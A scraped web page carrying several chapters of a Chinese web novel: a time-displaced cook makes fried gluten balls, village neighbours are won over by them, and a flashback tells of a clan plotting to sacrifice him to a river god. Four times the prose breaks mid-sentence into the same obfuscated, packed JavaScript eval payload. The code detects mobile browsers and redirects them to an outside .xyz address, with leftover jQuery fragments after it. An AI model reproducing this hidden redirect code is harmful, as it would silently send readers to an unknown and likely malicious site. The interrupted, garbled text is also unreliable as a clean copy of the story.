洁白细腻的面粉，慢慢淋入清水，在陶瓷盆中用筷子搅成絮状， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773739|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉成团后静置松弛片刻。盆中加水，没过面团，开始揉搓淀粉。 面团置于捧中，柔腻细滑，如一坨重重的白色水母。双手力道轻重交替间，粉乳一股股从庄聿白的指缝间如注涌出，继而游走，旋即溃散……渐渐融入越来越白的汤水中。 细长手指在乳汤中起伏张弛，弹糯面筋在手心缓缓成型。汤水不再变浓时，另取清水一盆，将留在手中的黏弹糯面筋，再次揉搓清洗。 庄聿白直起身，用手背蹭了蹭沾在鼻头的一点面粉。汤水合盆，已经放在阴凉处静置沉淀。 而虾片制作的附带产品面筋，也自然有它的价值。面筋不易保存，这难不住庄聿白。 第二步，炸面筋球。 米色面筋揪成枣子大小，整理成球摆至盘内。 庄聿白打开油盖，半坛麻油澄亮醇香。锅中倒入适量，生火加热。 以免油滴溅到，深蓝色麻葛衣袖挽得更高了些，露出两截紧实白皙的小臂。筷子冒泡时放入面筋胚，浮起膨胀后快速翻搅，一个个油润圆滚的面筋球在油面翻滚，浓香四溢。 面筋胚虽只有手心一捧，炸成球后，堆成小山似的满满一木盆。 第三步，晾晒淀粉。 忙了大半天，日头已偏西。粉落水清，庄聿白倒去盆中水，膏状湿淀粉凝于盆底。铲出后，薄薄一层平铺摊凉在麻质纱布上。 今日的阳光是不够用了，等明天日头晒上一大天，才能晾干。 这番阵仗算是大的，家中能动用的工具全上了阵。他将工具一一归位，还有一项重要工作。为了控制产出比、方便后续定价，每份食材的用量，都需要认真记录下来。 庄聿白整理下衣衫来至房中。他从书架找了一张纸，学着孟知彰的模样，磨墨蘸笔。 “淀”字三点还没写完，忽听“哗啦，哗啦——”院外柴门在响。 难道昨日那只大黑狗追了过来？ 庄聿白放下笔，警觉地从窗户看出去。这一看，心凉了半截。 一彪形大汉立在门外，虽隔着柴门看不太清，隐约可知此人身量比孟知彰还要魁梧，若说孟知彰是小巨人，那此人就是小巨人旁边的猛犸象。 这次是遇到真强盗了！ 他在孟知彰面前都毫无还手之力，若和这猛犸象正面冲突，岂不是自寻死路？ 三十六计，走为上。先去外面躲一躲。 前门是走不了的了，北墙上两扇通风窗紧闭。庄聿白几步走过去，踮起脚尖才勉强够到窗户扇，试着拉了拉……拉不动！ “哗啦！哗啦！”院外的柴门声更大了。 庄聿白有些急，脸颊开始发烫。他一手扒着窗台借力，一边拿出昨晚棒打孟知彰的狠劲，又用力拉拽了两下。 “哐啷”，窗户震开一扇，弹起一阵积尘，呛得庄聿白咳嗽了两声。 开了就好，窗口不大，他钻出去不成问题。 庄聿白踩着椅子往外爬，膝盖半跪上坚硬的窗台，刚把身子探出去半截，忽听门外那大汉高声喊： “琥珀在家吗？” 5. 丝瓜 琥珀？！ 庄聿白反应了几秒，才想起这是在唤自己。 尴尬。 他从窗台艰难爬下来，掸掸裤子上的灰，一边迎出院外，一边想着该用怎样的身份接待来人。 他是孟知彰的知己，这个家现在归他主事，那他理所应当就是家主。 隔着柴门，新任家主庄聿白轻咳一声，压低嗓音，尽量用胸腔发声，显得威慑力十足： “阁下哪里？” “是琥珀吧？我是牛大有。”来人声音憨憨的，还憨笑两声，“知彰让我送些柴来，顺道看看你还缺什么。” 是孟知彰请来的客人，庄聿白忙开了门将人请进来。 不知是柴门矮小、还是牛大有过于“双开门”，他要侧着身才能顺利穿过门进到院内。 “麻烦你跑一趟。”庄聿白仰头同他讲话，家中来了客，理应递杯茶或者端杯水。 牛大有人长得憨厚，做事也实在，拎着两大捆扎捆整齐的木柴，轻车熟路放在灶屋堆柴角落，见庄聿白东翻西找，知道要给自己准备茶水，忙嘿嘿笑说：“知彰家平时也没什么人来。不用忙活，我也不是外人。” 庄聿白还是翻出来两个杯子，洗净倒了水，两人在院中桌凳前坐下来。 一番交谈过后，庄聿白对牛大有了解个大概。他是孟知彰的发小，农闲时帮着家中往县城和周边镇子里售卖柴炭。 常走街串巷，对物价自然敏感。庄聿白正愁虾片该如何定价，这简直是天降助攻。忙将米面盐油等日常价格等问了个详细，边问还边拿笔记录。 每斤米麦皆8文，油30文，盐15文…… 该说不说这字歪歪斜斜是丑了些，和孟知彰的字根本没法比，像不在一个次元。 多亏牛大有，庄聿白对这个时空的物价体系有了一个参数系统。他一口一个“大有哥”的谢着。 牛大有时不时挠一下头，憨憨笑两声：“你是知彰表弟，也就是我表弟，用不着客气。” 表弟？！ 好吧，看来这是孟知彰给自己的新身份。 作为传统宗族社会，乡村来了生人，是要有个明确身份和缘由说法。正常婚嫁不必说，那是明媒正娶、大张旗鼓知晓族中的。若是一个彻头彻尾的外乡人想暂住，那他何方人士、作何营生、家中背景、官方路引等都要一一向村正族长讲明。 而他庄聿白的身世又是讲不明的。 表弟这个身份还挺合适。孟知彰连自己对外的身份也想到了，看不出思虑还很周密。 暮色上来，庄户人不太有时间坐下闲聊，除了物价，庄聿白赶紧切入另一个关键问题： “大有哥，能买到虾不？” “虾？”牛大有眼神闪了闪，抿下唇，“要多少，啥时要？” 看来能弄到。 “明天，一两斤。今后可能定期大量采购。” 牛大有沉默片刻，点了头，起身准备告辞：“明早我给你送来。日后大量用的话，再说。” 两人往院外走，庄聿白想到什么，请对方略站站，去房内拿来孟知彰留下的钱袋时，牛大有围着自己临时搭起的简易晾粉架子正上下研究。 “这晾晒的是什么？” “水洗粉。打算做一种小吃，贴补下家用。”庄聿白抓出一把钱，“50文不知够不够，明日的虾就拜托大有哥了。” 牛大有圆圆的眼睛满是惊讶，他没想到对方会给他钱，一下还这么多。他用力挠挠头，想了一会儿，一板一眼数了8文捏在厚实的手里： “明日的虾不用钱。你这架子透气不好，我路过竹编铺子，给你带两个圆簸箕回来，适合晾晒。” 庄聿白明白，这里面全是孟知彰的人情，若强行塞钱，则恐拂了对方的好意。 太阳渐渐偏西，院中阴影越来越多，院墙和柴门的剪影被投放在地上，像长满杂草的小怪兽，蓬头垢面越长越高，眼看铺满半个院子。 石榴树影也越来越长，蓬蓬乱的枝桠已经漫到那座小小的面筋球山上，光线变化间亮澄澄、圆鼓鼓。 庄聿白忙去盛了冒尖一大盘子面筋球：“家中面粉做的，只费些功夫，不值什么。”看牛大有还在犹豫，又说道，“大有哥若吃着好，帮忙在外面说声‘好’就是了。” 牛大有闷声闷气应了声，几步出了门，等再回来手里拿了一叠棕青色的纸状物：“用这荷叶包就成。剩下的这些荷叶你先用着，我明日再带些来。” 庄聿白门外同牛大有告别，不忘强调这叫面筋球，炒菜、煮汤都行。 淀粉上面一层已经透出些干爽，庄聿白送走了人，关上柴门，用竹筷将粉块尽量捣碎，方便更快晾晒。 “哗啦，哗啦——”柴门又响。 庄聿白以为是牛大有忘记什么事情，走近却发现门外站着一个十一二岁的小男孩，怀里抱几根胖滚滚油绿绿的大丝瓜。 “你找谁？”庄聿白开了门。 小男孩看着眼前陌生的庄聿白，眼神中透着慌张和惊诧，怯生生问：“知彰哥在家么？” “他不在，你有事找他？” “今日学中先生讲的一句诗文，我不甚明白，想请教下知彰哥。” 小男孩有些不死心，探头往院门看了眼，并没看到自己要找的人，便把手中丝瓜一股脑塞给庄聿白，“园中新摘的，母亲让我送些与知彰哥尝尝。我叫怀仁，劳烦这位哥哥转交给知彰哥。” 说完小童行了个书生礼转身就要跑。“怀仁”，庄聿白提名喊住，塞了一荷叶包面筋球给他。 * 庄聿白看着院子渐渐被影子占满，晚饭时间到了。 一个人的生活，更值得认真过。 新摘的丝瓜蒂上还挂着藤汁，翠绿醒目，带出初夏的清爽。庄聿白打算做一盘面筋炒丝瓜。 清水浸瓜，凉刃削皮，留下嫩绿瓜体，滚刀切块。油热放入少许调料，花椒、八角的香味瞬间激出。 庄聿白不由深吸一口，带着陶醉。 植物油煸炒出的锅气，是属于每 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773740|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个华夏胃的味觉归宿。总能让人在他乡四顾茫然时，一下找到归属，找到家的感觉。 现代社会的庄聿白并不挑食，相反他很愿意尝试新鲜事物，不同国家地域的美食他兴趣都很高。但这也仅止步“尝鲜”阶段。 若让他一直吃，他会慌。或许原始遗传基因会告诉他，这里没有熟悉的食物，等于这里不适合生存。所以在海外超过一周，他都会随身携带一些熟悉的调味料。 “滋啦——” 锅中倒入丝瓜，热锅快炒，香味漫溢。淋上几滴醋，丝瓜会更加嫩绿莹润。面筋入锅，变软后加少许水，让每颗都鼓鼓的吸饱汤汁。 丝瓜青绿爽润，面筋澄黄肥厚，一方柴院，加上孟知彰留下来的几个饼子。 熟悉的食物，熟悉的味道，让身处陌生时空的庄聿白，安全感满满。 他眯起眼看了看斜辉，好像他就是为此时此刻而来的。 * 牛大有将荷叶包在母亲面前打开时，牛大婶正在灶上准备烙饼。 “这是什么？”牛大婶就儿子手里看了一眼，手上揉面的动作并没有停。 “面筋球。”牛大有往母亲跟前递近了些，“说是可以炒菜吃。” 一个个油汪汪金灿灿的圆球堆在干荷叶上，看着确实喜人。但这样精巧东西，一看便知道费钱。 可牛大婶俭省惯了的，家中本不富裕，一个铜板恨不能掰成两半来花。幸好有柴炭这个进项添补着，若只指望那几亩田地，这一家老小一年到头能混个温饱就谢天谢地了。 上个月她生辰，儿子花20文偷偷从镇子上给她买回来一块时兴布料，说让她做件新衫子穿。她明白这是儿子长大了懂得心疼父母，心里自然是开心的，但又怕儿子养成大手大脚花钱的坏毛病，不会过日子。 自己这么大年纪了，土埋半截的人，这新衫子多穿一件少穿一件，又有什么要紧。 高兴归高兴，她还是当面数落了儿子一顿。当然私下她将布料来来回回看了很多遍，越看越喜欢，不过只是看个高兴，最后小心叠好收在了柜子里。 什么面金球、面银球，眼下这不年不节的，买这些新巧东西做什么。 “又乱花钱！”牛大婶取出一个淡棕色杂粮面坯，用擀面杖擀成半寸厚圆饼，“不是说了么，给知彰做喜被的棉花还差个200文，赶紧俭省些我好快做出来，指不定哪天就要用了。” 提起孟知彰的亲事，牛大婶就来气。 “也不知彰夫郎那头日子定了没有。知彰娘走之前聘礼就送过去了，知彰出了孝期又给他们添补了些，那头咋还不松口？都是庄户人谁家能有多少聘礼？这可是知彰娘和庄家哥儿的娘，十几年前就定下的娃娃亲。俩个孩子的亲娘都不在了，虽说那头现在是后娘管家……可她一个后娘，她有什么资格在前面拦这一棒子！” 牛大婶一根擀面杖擀得飞起，等发现时面饼已经薄得像煎饼。 “还有，他家那个表弟什么来头，怎么几日不见就多出个表弟？” 6. 表弟 牛老汉正在给他的那筐豆芽换水，听到母子俩说话也上前来看究竟。 “估计是他母亲那边的远房亲戚。知彰办事稳当，成亲前能留这个表弟住家里，定是有他的道理。至于庄家那边……人家也没咬死说不嫁，只是日子还不定。放心，没事的。” 牛老汉虽安慰妻子，自己心中也犯嘀咕。 月初孟知彰请族人去庄家商议婚期，他也跟着去了。聿哥儿父亲倒还好，只是这继母不像个好说话的。见人三分笑，虽看去一团火热，但底子是冷的。两边早就定下的亲事她自是不能说什么，但明里暗里拿腔作势，尤其提到具体日子，就开始三推四诿打哈哈。这亲事迟早要成的，几次三番拖时日，不知是什么道理。 “这叫面筋球？”牛老汉在腰间布巾上擦擦手，拿起一只迎着门外开始泛红的日头照了照。 牛大有帮母亲照料灶下的火：“嗯，面筋球，知彰表弟说面粉油炸成的。” 牛老汉将面筋球放回荷叶里：“能闻出是麻油炸的，可这轻飘飘、硬邦邦的，真的能吃？” “嗐！”一听是用白面和油做的，牛大婶又叹口气，探身将手里的面饼贴在锅里，“真是不当家不知柴米贵，知彰前脚离开家，他后脚就开始糟蹋粮食。那可是白花花的面粉啊，平时做饼子，大都要掺些杂粮粉或者野菜粉什么的。还有油，现在油价都涨到31文一斤，他却用来做这邦邦硬的东西。知彰这孩子多不容易，爹娘都去了，剩他独一个。又要读书，又要种田，成亲的事也要他自己忙活。这又不知从哪来一个什么表弟赖上门蹭饭。知彰这孩子的命啊，咋这么苦！” 年纪大了容易嘴碎，牛大婶唠唠叨叨说个没完。 牛老汉看得明白：“他这是想做点小生意，帮衬下知彰吧。正好豆芽生成了，咱晚饭炒豆芽，等会一起放进去试试。 他接过儿子递过来的钱袋数了数，今日的炭比往常多卖了8文，能多买一斤米了。牛老汉对着儿子点点头，这已经是不善言辞的父亲给儿子的最高赞许了。 牛大有心里高兴，灶下的火把他坚毅结实的脸庞映得红亮亮的。 牛大婶一听要用面筋炒豆芽，锅中翻饼子的动作更快更急了：“这筐豆芽你用了足足两斤豆子，两斤豆子呐，万一炒出来不好吃，岂不是糟蹋了这豆子？” 太阳快下去了。天黑之前要吃完饭，收拾好家中的活计。 牛老汉带着小儿子牛二有把明早要去卖的柴炭装车固定好。家中大功臣，那头十多岁的老驴正在槽子边嚼着草料。今天多加了几把麦麸，它尾巴摇得开心。 牛家和大多数孟家村村民一样，严格遵守“日出而作日入而息”的祖训。当然这背后主要是省俭。锅中烙饼都不舍得放油，哪舍得耗油来点灯。 晚饭较往常丰富，一大盘豆芽炒面筋，一摞饼子，还有一盆菘菜汤。 饭桌摆在院子里枣树下，一张老桌面满是划痕，还缺了一个角。牛大有听奶奶说这是父亲小时候淘气凿的。为这个角，父亲还挨过一顿揍。 杂粮面做的饼子不如纯面饼，发黑发硬，牛老汉咬了一口，又喝了口汤。他看着面前这盘豆芽炒面筋，打量了两眼。 刚才硬邦邦的油球，炒过之后，不仅大小缩了一半，还软踏踏的，像抽了筋骨。 这能好吃么？ 牛老汉心中没了主意。 若非孟知彰他爹，牛家当年在孟家村根本落不下脚。这份情，牛老汉记一辈子。孟知彰是他看着长大的，他十四岁时在县里考了个第一，得了脸面，大家说很快就能当秀才相公，是个有出息的孩子。知彰娘打算等他考上秀才就把亲事办了，喜上加喜。知彰爹去的早，这孤儿寡母眼看苦日子要熬出来了，谁成想知彰娘竟一病也去了。 牛老汉的筷子顿了顿。 眼下知彰过了孝期，这夫郎还没娶进门，先住进来个什么表弟。蹭吃蹭住，还拿着这么好的米面……牛老汉心里一万个盼着孟知彰好。但若这面筋球不能吃，浪费粮食事小，他这表弟不就真成了“搅家精”么，可让知彰这孩子的日子咋过？ 在全家的注视下，牛老汉还是下了筷。心情复杂，甚至可以说带着些紧张。 面筋入口。 牛老汉带着风霜的眼睛，忽地睁圆了。 他看看盘中面筋，又看看牛大婶，口中嚼着那筷面筋，想说什么又说不出，只拿筷子指那盘菜。 牛大婶也愣住了。牛老汉跟他的姓一样，皮糙肉厚好养活，从不挑食，哪怕她把粥煮糊了都能埋头吃上两碗。难不成这面筋比糊巴粥还难吃？ “这是咋了？不好吃咱就不吃了。不就是一些豆子么，不打紧的。我再去重炒一盘……” 牛老汉频频摆手，又急切地去指那盘菜，半天好不容易咽下口中菜：“面筋……好吃！老婆子快尝尝。” “好吃？”牛大婶有些看不懂，“休想哄我。” “真的好吃！”牛老汉夹了一筷面筋到妻子碗中，满脸期待看着牛大婶。 “软踏踏没个样子，能好吃？”架不住丈夫怂恿，牛大婶还是试探着将面筋放入口中，像面筋能随时醒过来，咬自己一口。 …… “这……这，”向来说话如倒豆的牛大婶，一下子语塞起来，“这面筋比……比……” 自己活了这一把岁数，虽没享过什么大福，牛大婶自认为也算吃过一些好吃的。比如去年过年时那盘肥到流油的猪肉菘菜饺子，再比如去年深秋小儿子从后山打回来那只兔子……可跟这面筋比，似乎还差点意思。 “……比当年肘子席上那只肘子还香！”牛大婶眼睛都亮了，她想了半天，终于想到一个可以对齐的参照物，给出了自己对食物的最高评价。 族长家当年娶亲的肘子席，可是牛大婶吃过最好的席面，不只是牛大婶，整个孟家村对那个肘子席面至今都是念念不忘。 一般的席面，能有三个荤菜已经算上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773741|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的了。这三个荤菜也不全是肉，还是要掺些时蔬搭一下。但族长家的婚宴，不仅有三个这样的“小荤”，当年席面上每桌都有一个肘子，圆滚滚、肥嫩嫩，入口即化，香味数日不散。 甚至十多年过去，那场肘子席还是乡邻办席的不可逾越的一个标杆。谁家席面要是被评一句“都要赶上肘子席面了”，那对主家来说可是一件非常有面子的事情。 牛大婶看来，眼前的这份油面筋和当年那只肘子的味道比，简直不相上下。她给两个儿子各夹了一只面筋。现在也不提什么浪费粮食、浪费油的话了。 “真的只是用面粉过油炸一下就能做出这……油面筋？” 牛大有点头。他牙口好，一手拿了两个饼子，正大嚼特嚼。 “这真是个巧宗。那一荷叶我只放了小一半就炒了这一大盘菜。面筋好吃，连带着豆芽的味道都变了，好吃，香！” 牛老汉跟着点头，半晌说了句：“他这表弟有点东西，说不定真能帮上知彰。叫个啥名来着？” “叫琥珀。” 牛大有想起这个琥珀交代的一两斤虾的事情，让弟弟二有明天一早跟自己进山，答应晚上卖炭回来给他买个包子。 食物带来的满足感，不只停留在口腹。向来沉闷的饭桌，多了笑声。笑声之上，黄豆大小的枣子在叶丛中若隐若现。斜辉打过来，带着温暖又质朴的希望。 晚间躺床上前，牛大婶将剩下的面筋好生放了起来，以免遭了耗子或者野猫。 可一闭眼还是面筋的样子，她拿胳膊肘怼怼牛老汉：“老头子，知彰表弟若是做这面筋营生，我琢磨着能成呢。只是不知多少钱一包。虽然分量轻，但一包能做三次菜。嗯……一包怎么也得要十文。你说是吧，老头子？” 牛老汉差不多要睡着了，含含混混应着。 牛大婶却越想越精神，困意全无：“咱家日子比不得别人，但知彰家的营生咱得支持，等知彰喜被的钱凑齐了，咱也能隔三差五买上一包。” “好，都听你的。”牛老汉翻了个身，“不过这面筋，知彰表弟到底咋做的呢。” 夜色罩住牛家院中的那棵枣树，也罩住灯火渐次熄灭的孟家村。 庄聿白吹灭灯苗，舒舒服服躺在孟知彰的床上。 他听着窗外的草虫声，听着远处新生儿啼哭声，还有夜幕下一两声鸟雀惊巢的动静……试图回忆这个时空中的庄聿白有着怎样的过往。 想来想去只记得腥浊的江水、聒噪的唢呐，和那沉水后灭顶的窒息感。躺在安全的被窝里，过去的不安已经影响不到他。但“孟知彰”这个名字，却让他翻来覆去辗转难安。 这个名字此前一定出现过，可到底什么时候出现的呢？ * 元贞十五年，角江，水波汤汤，两岸麦田翻滚着初夏的希望。 庄聿白知道，今天是他成亲的日子。 他不知道的是，今天也将是他的祭日。 7. 人祭 婚期前三日，家中热闹起来。 庄聿白虽不懂成亲的仪式，但总觉得哪里怪怪的。 先是来了一名巫觋，头戴羽毛、身缠七彩璎珞，行动间流光溢彩、群铃乱响。继母带着他在家中转了一圈，又是焚香又是撒灰，满屋烟气呛得人直流泪。 接着是两名黄袍道士，宽袍峨冠，伸展袖子在前庭后院边转边跳，像是在做什么驱魔法事，尤其到了庄聿白居住的后罩房一带，更是舞起桃木剑，挥动八卦镜，一路招神驱邪、口中还念念有词。 庄聿白没见过这等架势，躲在房中有些紧张。 母亲去世时只是草草入葬，没做什么法事。虽也花钱请人来念了经，想必给的银钱不多，那几个闲散和尚只待了一盏茶时间就走了。哪像现在这样举着剑在家中各处又舞又刺。 道士临走时围着庄聿白烧了一大把符篆。黄底血纹，很像鬼画符。符篆灭了明火，烟气比方才巫觋搞出来的还呛人。 庄聿白熏得难受，他咬紧牙关还是忍住了。母亲生前最好颜面，不能让人说母亲留下的孩子不守规矩。尤其不能让继母说出半个“不”字。 之后，族中长辈接二连三来家中道喜。说是道喜，每个人脸上表情却都怪怪的。似笑非笑，碍于情面又不得不硬挤出些笑模样。 继母忙喜气洋洋迎上前，利落弯腰接过来人手中红布包就的小包裹，说些“谢谢给聿哥儿添妆”之类的客套话。 再后来，庄聿白便从家中背阴的后罩房，挪至族中祠堂边上的一间厢房里安置下来。 族中婚丧嫁娶之事，庄聿白也是见过一些，可没听说谁家出嫁前要先住进祠堂。庄聿白鼓起勇气问了父亲。继母说这种族中传统，因为他生母去的早，所以仪式要比别人复杂，让他忍耐些。 母亲去世后，继母来了家中，庄聿白最先学会的就是“忍耐”。 住处从西厢房搬至阴冷潮湿的后罩房，他要忍耐。母亲在时他在族学中读书习字，“现在家中艰难了”，书不仅不能再读，还需帮衬家中做工赚钱，他要忍耐。继母生了弟弟，他的衣食支出等要省俭，孟家的聘礼更要留一半给弟弟娶亲用，他也要忍耐…… 眼下继母说要忍耐，庄聿白没多说什么，那就再忍耐些。左不过就三两日的时间。等过了门，到了孟家，一切就会好起来的。 庄聿白宽慰自己。 因催促得急，庄聿白只带了随身衣物，继母说那边都安置好了，他的东西都会当做嫁妆帮他整理好。 庄聿白将母亲留下的嫁妆，以及母亲生前的衣物、首饰等整理了一箱子，恳求父亲千万帮自己添在嫁妆单子上。 他从未求过父亲什么。眼下要出门子了，他第一次，也是最后一次求父亲。 父亲黑着脸，坐在堆成小山似的红色包裹旁，浓黑的灯影倾泄下来，将父亲全部掩埋。灯火明灭中，父亲似乎点了头。 印象中，父亲永远这样沉默，没有声音，也没有什么存在感。他似乎忘记父亲上次跟自己说话是什么时候。 母亲去世时，父亲也像现在一样坐在同一把椅子里，拖着浓黑的影子，沉默着，一口一口喝着浓茶，像隐身在黑夜中的一团叹息。 只是那时，父亲身旁堆着的不是红色包裹，而是给母亲送葬的黄色纸钱。 直到离开家门，父亲再没有跟庄聿白说一句话。 等庄聿白离开后，继母庄刘氏强压着嘴角，七手八脚开始拆包裹。红色包裹内，为庄聿白“添妆”的，也是一沓沓送葬用的黄色纸钱。 还有每家摊付的“河神聘礼”200文钱。 庄聿白不知道，他满心期待的婚礼，也是他的葬礼。 这是一场精心筹备的“祭河”仪式。 整个仪式中最重要的祭品，就是他庄聿白。 * 半月前平宁州发了水，两岸农田淹了不少。眼看着夏收在即，若也跟着遭了水，这让在土地里刨食的庄户人如何办。角江沿岸的村庄个个自危，地势低洼的淮南更是愁云四起。 正当淮南家家唉声叹气时，族长小儿子庄皓仁带回来一名巫觋。 暗夜死寂，火把猩红。 通神之后的巫觋，在族长家的议事厅缓缓醒来。杂乱头发下两只眼睛在火把映衬下闪着红光。喉间呜呜响，如阴风过境。 他喝下一口血红的茶，郑重向庄家族人传达河神的旨意。 巫觋称角江往年一直风平浪静，全仰仗角江河神的功劳。但两岸之人不知恩图报，逢年过节连个果品也没供奉过。这次平宁州的水患，就是河神给大家提一个醒。若还是这样冥顽不灵，就等着大水荡平淮南吧。 议事厅，黑压压坐了一屋子人。能来族长家议事的都是族中有些头脸的，大家面色凝重，没人表态。鬼神之事，不能不信，也不能全信。 “我们可都等着夏收交税粮、养家口，若河神发怒，可让我们怎么活！先生大德，帮着想想可有什么破解的法子？”庄皓仁打破这一片死寂，恭敬地给巫觋捧上一盏新茶。 “祭河。人祭。” 阴风过喉的嗓音，听得人汗毛乍起。 人祭？！ 一石激起千层浪，不解、诧异、惊恐、愤怒、愁苦……各种表情在昏暗灯光下的一张张脸上来回切换。 族中祭祀大大小小做过无数，哪怕十年前那场百年大旱要祭祀天地，也只用了“牛羊猪”三牲大祭，现在却要用人祭？ 巫觋在这纷杂的眼神中品味出质疑。他收起方才通灵的嗓音，伸手抹了一把脸，恢复常态： “小可也只是个灵媒。选择生祭，那是你们庄氏一族的态度。你们敬畏之心越虔诚，河神自然庇佑更多。话说回来，这生祭收与不收，全在河神。但祭与不祭，则在你们。” 话说太明白，就没意思了。但族人也都听得明白：就算祭人，这人也不一定会死。若用于献祭的人没死，那就是河神不收。 眼下正值盛水期， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14773742|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河水猛得很。被生祭之人，手脚一绑，无底船一上，想活着回来简直比登天还难。 那是九死一生，死无全尸，死无葬身之地…… 若真能死一人而救全族，想来是划算的。前提是，这一人不是自己家人。 议论声量越来越高，和煽动的火光一样，弥散在整个议事厅。有支持的，有反对的，更多则是持中观望。晦暗不定的眼神交织下，满满的算计和利益衡量。 最后众人将目光投向族长。 族长花白的胡子抖了抖，想说什么，终究选择暂不开口。脸上皱纹的沟壑，却拧得更深了。 “河神可有说这人祭……想要个什么样？年岁、相貌……”庄皓仁出来替父亲解围，打破这沉寂的氛围。 巫觋缓缓走到议事厅中间，满身璎珞下锈迹斑斑的铜铃一步一响，像是地狱传出的声音。 他拿起两支火把，岔开双腿，半蹲成大大的“火”字，双脚用力踏地。鬼火明暗间，铜铃声大作。 哗铃铃——哗铃铃—— 半柱香的时间，巫觋“哐啷”直挺挺倒在地上，环目圆睁，血丝崩溅，喉咙中阴风又起： “十七八岁、样貌皎好、童子身、琥珀色头发……” 众人面面相觑，心中盘点着族中是否有这样的人。 “好像真有这样一个人，就是那庄老三家的哥儿，叫什么聿哥儿的。”不知谁起了一个头，大家纷纷点头，觉得此人确实符合河神要求。 “对，那个叫聿白的哥儿。他亲娘在的时候还跟我家老大一个学堂读书来着。小时候我见过几次，那孩子长得齐整，俊！” “若这样说，我也有这么个印象，这几年好像很少出来见人，估计家里活计多。偶然见到也是一个人远远地在河边洗衣服……河边，你看着这孩子还喜欢河，天意啊。” “对，还未成亲……前阵子孟家庄的又来议亲，听说庄老三家的还没松口。没成亲，是童子身，这不巧了么！” “最巧的是这头发颜色！我之前还想着这孩子娘胎里弱，打小头发就发黄，谁成想，这竟然是河神在找的琥珀色……” 众人越说越像，就像河神专门画了像指名来寻这个聿哥儿：“果真被河神看上了，那是那孩子几世修来的福分！” 目标精准锁定庄聿白，有了替罪羔羊，议事厅的紧张氛围消散了。 不管怎样，生祭河神都是一桩大事。该不该祭，如何去祭，都不是三言两语能议定的。 族长散了众人，也请巫觋去休息。很多事他还要再想想。 果然，不用自己上刑场，看客们还是喜欢瞧热闹。 刚锁定人选，大家已经开始暗自忖度祭河时自己的站位。无论如何这也算是即将见证淮南的历史。 自打祖辈起有哪个亲眼见识过“人祭”？以后等老了坐在藤椅里晒太阳，有的是机会跟后辈夸嘴： “想当年你爷爷我可是参加了那场盛大的‘人祭’……” 8. 妆奁 到底是一条活生生的人命。 族长活了大半辈子，不仅自己没见过生祭，自己父亲当年也从未用人来祭祀神明。他独自在房中踱步，腰背看起来更弯了。 小儿子庄皓仁端了一碗鸡汤给父亲，族长一摆手，并没有接：“这位巫觋，你从哪请来的？” “不是儿子请的。”庄皓仁瞧着父亲神色不对，将汤放在一旁的八仙桌上，“他在村头找族中话事人，儿子恰好经过，就带了来。这巫觋此前也找过平宁州那几个村子的话事人，河神发怒的话也同他们讲过，可他们不信啊。结果呢？几百亩已经灌浆的小麦，此时全在水下泡着呢。” 族长低头看向儿子，眯起眼镜，想从他脸上看出些什么。 “别人可以心软。父亲！您是族长，您肩负着一族人重担，您得拿定主意。”庄皓仁跪在父亲膝前，说到激动处，眼睛中闪着泪光。 族长满布皱纹的眼角更垂了。自己的这个儿子不算勤奋上进，甚至可以说是有些投机取巧，但这几句话却说到他心坎里去。 他起身走到窗边，怔怔对着外面的夜。 若角江决口，将淮南数百亩之田全盖在下面。毁坏的可不单是这一季收成，下半年的庄稼也休想种在地里。耽误了时令，少了整整一年收成，族中会死多少人…… 庄皓仁知道自己切中了父亲的脉，上前跟了几步，扯住父亲衣袖： “那聿哥儿向来病弱，估计寿命上的福气有限。人固有一死，或重于泰山，或轻于鸿毛。若是庄家哥儿舍生取义，救全族于危难之中，这也算是他的造化。我们全族之人也会永远记得他这份情。” 外面的夜很黑，很沉，一颗星子也没有。 良久，族长让儿子去请庄老三两口子来议事，又让他亲自督建这祭祀用的婚船等物资。 庄老三乍听说生祭自己儿子，差点掀翻族长家的桌子。 